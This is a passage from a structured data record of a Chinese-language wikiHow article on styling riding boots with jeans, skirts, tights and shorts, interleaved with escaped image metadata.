class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n很多上衣都可以搭配，但最好的选择是一件宽松飘逸、面料柔软的衬衫。你可以选择一个高腰上衣来突显你的腰，或者简单地用皮带系在宽松上衣在腰部。无论如何，一件宽松的衬衣能与你苗条的下身形成鲜明对比。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/b\\\\/b5\\\\/Wear-Riding-Boots-Step-5Bullet2.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-5Bullet2.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/b\\\\/b5\\\\/Wear-Riding-Boots-Step-5Bullet2.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-5Bullet2.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n2. 搭配喇叭牛仔裤和长裤\\n2-1. 穿靴裤。\\n这种牛仔裤被贴上“靴裤”的标签，因为它们的底部舒适松散，能搭配任何高度和风格的靴子，包括马靴。\\n这种风格最好搭配标准蓝色牛仔裤，但你可以选择任何一种水洗牛仔裤。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/7\\\\/7e\\\\/Wear-Riding-Boots-Step-6Bullet1.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-6Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/7\\\\/7e\\\\/Wear-Riding-Boots-Step-6Bullet1.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-6Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n如果你选择彩色牛仔裤，要选择中性的颜色，如黑色、灰色、白色和棕色。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/c\\\\/cb\\\\/Wear-Riding-Boots-Step-6Bullet2.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-6Bullet2.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/c\\\\/cb\\\\/Wear-Riding-Boots-Step-6Bullet2.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-6Bullet2.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n确保你的牛仔裤是足够长来掩盖靴子的大部分，但不能过长，要露出鞋头和鞋跟。\\n2-2. 你也可以选择灯芯绒裤子。\\n相对于靴裤，你可以穿灯芯绒裤子使靴子的鞋头露出来。\\n选择灯芯绒裤的颜色。你可以穿传统的颜色，如褐色、棕色、黑色或灰色，或者你可以选择不那么传统的颜色，如橄榄绿色或深蓝色。\\n2-3. 完成造型。\\n选择一条深色水洗牛仔裤或灯芯绒裤子搭配黑色的马靴，这个造型可以轻松变成一个商务休闲风格。\\n穿一件简单的衬衫或一件合身的纯色或简单图案的上衣搭配你的裤子。你可以添加一件外套使造型显得更专业或者你可以就这样显得更休闲。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/b\\\\/b0\\\\/Wear-Riding-Boots-Step-8Bullet1.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-8Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/b\\\\/b0\\\\/Wear-Riding-Boots-Step-8Bullet1.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-8Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n加点配饰，但尽量简单和优雅。纯金属珠宝优于精心制作的人造珠宝或颜色明亮的大宝石。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/f\\\\/fa\\\\/Wear-Riding-Boots-Step-8Bullet2.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-8Bullet2.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/f\\\\/fa\\\\/Wear-Riding-Boots-Step-8Bullet2.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-8Bullet2.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n2-4. 定下造型。\\n穿浅到中色的水洗牛仔裤和一个不太正式的上衣，简单地搭配黑色或棕色的马靴，一个别致的、随和的周末造型就完成了\\n你的上衣可以是宽松飘逸的，也可以是舒适合身的。如果你的牛仔裤是直筒的，腿部的线条就显得不如穿紧身牛仔裤那样紧致。因此，你可以穿宽松飘逸的衬衫来维持整体的平衡，也可以用穿舒适合身的上衣显得整体更平稳，从上到下呈现出流线型。\\n3. 穿半身裙或连衣裙\\n3-1. 搭配一条长裙。\\n选择一条宽松的长裙以免裙子和靴子互相摩擦。\\n也可以考虑尝试一边开口的长半身裙或连衣裙，使造型从过时的孕妇装变得大胆而轻浮。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/9\\\\/9e\\\\/Wear-Riding-Boots-Step-10Bullet1.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-10Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/9\\\\/9e\\\\/Wear-Riding-Boots-Step-10Bullet1.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-10Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n为了避免造型太方正或不成形，在上身穿一些特别的。选择领口大开或露背的上衣搭配半身裙。如果穿长裙，选择一件合身的开衫、外套或夹克使你的造型更多变。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/3\\\\/3f\\\\/Wear-Riding-Boots-Step-10Bullet2.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-10Bullet2.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/3\\\\/3f\\\\/Wear-Riding-Boots-Step-10Bullet2.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-10Bullet2.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n3-2. 穿短裙来展露你的双腿。\\n选择一条直板裙、A字裙或百褶裙来平衡你苗条的小腿。\\n如果马靴长度到膝盖或以上则穿迷你裙。这是为了在靴子和裙子之间能露出一部分的腿。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/4\\\\/41\\\\/Wear-Riding-Boots-Step-11Bullet1.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-11Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/4\\\\/41\\\\/Wear-Riding-Boots-Step-11Bullet1.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-11Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n如果你的马靴长度在膝盖以下，那么搭配齐膝的短裙效果会很好。此外，及膝的裙子能适合各种身体类型并可以展现出可爱性感的造型。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/a\\\\/ac\\\\/Wear-Riding-Boots-Step-11Bullet2.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-11Bullet2.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/a\\\\/ac\\\\/Wear-Riding-Boots-Step-11Bullet2.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-11Bullet2.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n如果穿短裙，那在上衣的选择上就有相当大的空间。合身的上衣可以平衡喇叭裙的飘逸，但衬衫的风格可以随意挑选。\\n3-3. 裸腿还是不裸。\\n如果穿着轻薄、飘逸的面料，最好裸露着腿。对于较厚的材料，穿上紧身裤和长筒袜可能更合适。\\n硬材料制成的及膝裙，像羊毛、粗花呢、灯芯绒或牛仔布通常是为凉爽的天气设计的，所以长筒袜往往也应该派上用场。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/3\\\\/3a\\\\/Wear-Riding-Boots-Step-12Bullet1.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-12Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/3\\\\/3a\\\\/Wear-Riding-Boots-Step-12Bullet1.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-12Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n由轻薄飘逸的亚麻及各种棉布等材料做成的长裙、短裙常常搭配裸腿，因为这种风格是为更暖的天气设计的。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/d\\\\/d8\\\\/Wear-Riding-Boots-Step-12Bullet2.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-12Bullet2.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/d\\\\/d8\\\\/Wear-Riding-Boots-Step-12Bullet2.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-12Bullet2.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n4. 长筒袜\\n4-1. 挑选合适的颜色和纹理。\\n穿上搭配马靴颜色的长筒袜可以塑造一个清爽、时尚的外观，但你可以尝试不同的颜色和纹理来转换你的风格。\\n麻花针织的长筒袜是温暖舒适的风格，而其他的条纹图案比如蕾丝，则是挑逗好玩的风格。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/f\\\\/f6\\\\/Wear-Riding-Boots-Step-13Bullet1.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-13Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/f\\\\/f6\\\\/Wear-Riding-Boots-Step-13Bullet1.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-13Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n你也可以穿同马靴形成鲜明对比的紧身裤以突出马靴。例如，白色紧身裤与黑色马靴对比鲜明能够突显你的马靴。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/3\\\\/36\\\\/Wear-Riding-Boots-Step-13Bullet2.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-13Bullet2.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/3\\\\/36\\\\/Wear-Riding-Boots-Step-13Bullet2.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-13Bullet2.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n4-2. 穿长筒袜搭配裙子和马靴。\\n最普遍的穿长筒袜的搭配是马靴和冬季的短裙或连衣裙。\\n考虑穿光滑、贴身的长筒袜搭配一件毛衣连衣裙来塑造秋天或冬天的造型。把麻花针织的长筒袜换成光滑贴身的长筒袜就能变成舒适的造型。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/b\\\\/b1\\\\/Wear-Riding-Boots-Step-14Bullet1.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-14Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/b\\\\/b1\\\\/Wear-Riding-Boots-Step-14Bullet1.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-14Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n如果选择半身裙来搭配马靴和长筒袜，可以选择一种较厚的布料如羊毛或灯芯绒，而不是像麻一样明亮清新的布料。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/d\\\\/d4\\\\/Wear-Riding-Boots-Step-14Bullet2.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-14Bullet2.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/d\\\\/d4\\\\/Wear-Riding-Boots-Step-14Bullet2.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-14Bullet2.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n4-3. 穿上一条时髦的短裤。\\n这种造型有点大胆，比其他许多搭配都更不常见；但这样的搭配却往往有比较好的戏剧性效果。\\n选择一条合身的、长度到大腿中间的短裤。超短裤是可以的，但是较长的短裤会使大腿看起来太短。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/a\\\\/af\\\\/Wear-Riding-Boots-Step-15Bullet1.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-15Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/a\\\\/af\\\\/Wear-Riding-Boots-Step-15Bullet1.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-15Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n可以穿标准的蓝色牛仔短裤，但你也可以尝试灰色牛仔裤、卡其色或有图案的短裤。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/d\\\\/d5\\\\/Wear-Riding-Boots-Step-15Bullet2.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-15Bullet2.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/d\\\\/d5\\\\/Wear-Riding-Boots-Step-15Bullet2.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-15Bullet2.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n这也是一个穿不同颜色和有图案的长筒袜的好机会。例如，你可以尝试金属色长筒袜使风格更加富有光泽。当穿着彩色或有图案的长筒袜时，你应该避免穿颜色明亮的短裤。你也应该穿颜色柔和的衬衫，避免颜色冲突。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/a\\\\/a4\\\\/Wear-Riding-Boots-Step-15Bullet3.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-15Bullet3.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/a\\\\/a4\\\\/Wear-Riding-Boots-Step-15Bullet3.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-15Bullet3.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n4-4. 尝试穿长版的束腰外衣。\\n宽松的、长度到大腿中间的外衣搭配马靴和简单的长筒袜可以打造时尚休闲的周末造型。\\n宽松飘逸的束腰外衣搭配贴身的长筒袜和马靴使造型得到平衡。\\n在这个造型中，穿颜色搭配靴子颜色的光滑长筒袜，比穿图案精致、颜色对比鲜明的长筒袜效果更好。\\n\", \"简要回答\": \"马靴是时尚达人衣柜里的必备品，但知道如何穿这种靴子跟拥有一双一样能反映你的品味。尝试不同的造型，直到你找到一个适合自己的风格。与此同时，下面有一些可以参考的造型。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"百搭牛仔裤\", \"步骤\": [{\"编号\": 1, \"标题\": \"选一条紧身牛仔裤。\", \"描述\": \"这种牛仔裤能裹紧你的腿，从而能塞进马靴里不会隆起。因此紧身牛仔裤永远是你最好的选择！\\n如果你没有紧身牛仔裤，你也可以把别的裤子塞进马靴。选择你所拥有的最贴身的牛仔裤来做到这一点。\\n卷起裤腿露出脚踝。\\n把卷起的裤腿折叠好。\\n如果你喜欢的话，可以卷得更高一点，露出小腿的更多部分。\"}, {\"编号\": 2, \"标题\": \"考虑裤子的颜色和水洗状况。\", \"描述\": \"传统的蓝色牛仔裤能搭配任何颜色、任何风格的马靴，但你也可以尝试其他颜色的紧身牛仔裤。\\n其他中性颜色，如黑色和灰色，可以搭出成熟的造型。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/1\\\\/16\\\\/Wear-Riding-Boots-Step-2Bullet1.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-2Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/1\\\\/16\\\\/Wear-Riding-Boots-Step-2Bullet1.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-2Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n白色紧身牛仔裤更干净、大胆。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/3\\\\/3d\\\\/Wear-Riding-Boots-Step-2Bullet2.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-2Bullet2.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/3\\\\/3d\\\\/Wear-Riding-Boots-Step-2Bullet2.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-2Bullet2.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n如今，牛仔裤有各种各样的明亮、柔和的色调。你可以把传统的蓝色牛仔裤换成紫红色或光橙色的牛仔裤，用色彩冲击原本平淡的衣着。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/3\\\\/3c\\\\/Wear-Riding-Boots-Step-2Bullet3.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-2Bullet3.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/3\\\\/3c\\\\/Wear-Riding-Boots-Step-2Bullet3.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-2Bullet3.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\"}, {\"编号\": 3, \"标题\": \"用合适的裤子搭出西部风格。\", \"描述\": \"如果你有棕色的马靴，你可以使用它们来搭出西部风格。虽然马靴和牛仔靴非常不同，但棕色马靴也能令人想起牛仔靴。\\n穿款式简单的格子衬衫。你可以选择一件宽松或合身的衬衫，但无论哪种衬衫都相对比较宽松，平衡了你紧致、苗条下半身。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/2\\\\/25\\\\/Wear-Riding-Boots-Step-3Bullet1.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-3Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/2\\\\/25\\\\/Wear-Riding-Boots-Step-3Bullet1.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-3Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n穿中到深色的水洗蓝色紧身牛仔裤。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/a\\\\/a8\\\\/Wear-Riding-Boots-Step-3Bullet2.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-3Bullet2.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/a\\\\/a8\\\\/Wear-Riding-Boots-Step-3Bullet2.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-3Bullet2.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n根据需要增添配饰。你可以佩戴简单的珠宝或搭配一些乡村风格的配饰。但应当保持低调的风格，比如说你穿上了牛仔靴换下马靴来减弱西部风格，那么你的配饰也应当少一点西部风格。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/1\\\\/1f\\\\/Wear-Riding-Boots-Step-3Bullet3.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-3Bullet3.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/1\\\\/1f\\\\/Wear-Riding-Boots-Step-3Bullet3.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-3Bullet3.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\"}, {\"编号\": 4, \"标题\": \"马术风格。\", \"描述\": \"马靴是骑马是穿的，因此在你的搭配中增添一点马术的风格来表示对这种潮流起源的敬意。\\n穿白色或奶油色紧身牛仔裤搭配黑色的马靴。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/8\\\\/86\\\\/Wear-Riding-Boots-Step-4Bullet1.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-4Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/8\\\\/86\\\\/Wear-Riding-Boots-Step-4Bullet1.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-4Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n选择一个清爽、合身、线条简单的衬衫。标准的白色的衬衫是很不错的选择，但只要裁剪简单，其他类型的衬衫也是可选的。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/0\\\\/0f\\\\/Wear-Riding-Boots-Step-4Bullet2.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-4Bullet2.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/0\\\\/0f\\\\/Wear-Riding-Boots-Step-4Bullet2.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-4Bullet2.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n在衬衫外穿一件外套。搭配合身的黑色或深蓝色的外套是更传统的造型，或尝试彩色的外套使这种风格更有趣味。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/b\\\\/b4\\\\/Wear-Riding-Boots-Step-4Bullet3.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-4Bullet3.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/b\\\\/b4\\\\/Wear-Riding-Boots-Step-4Bullet3.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-4Bullet3.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\"}, {\"编号\": 5, \"标题\": \"尝试休闲的造型。\", \"描述\": \"最简单的方法是用标准衬衫和你的日常配饰搭配马靴。\\n选择任何颜色、风格的马靴和紧身牛仔裤。注意你要确保颜色和衬衫颜色搭配协调。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/c\\\\/c8\\\\/Wear-Riding-Boots-Step-5Bullet1.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-5Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/c\\\\/c8\\\\/Wear-Riding-Boots-Step-5Bullet1.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-5Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div 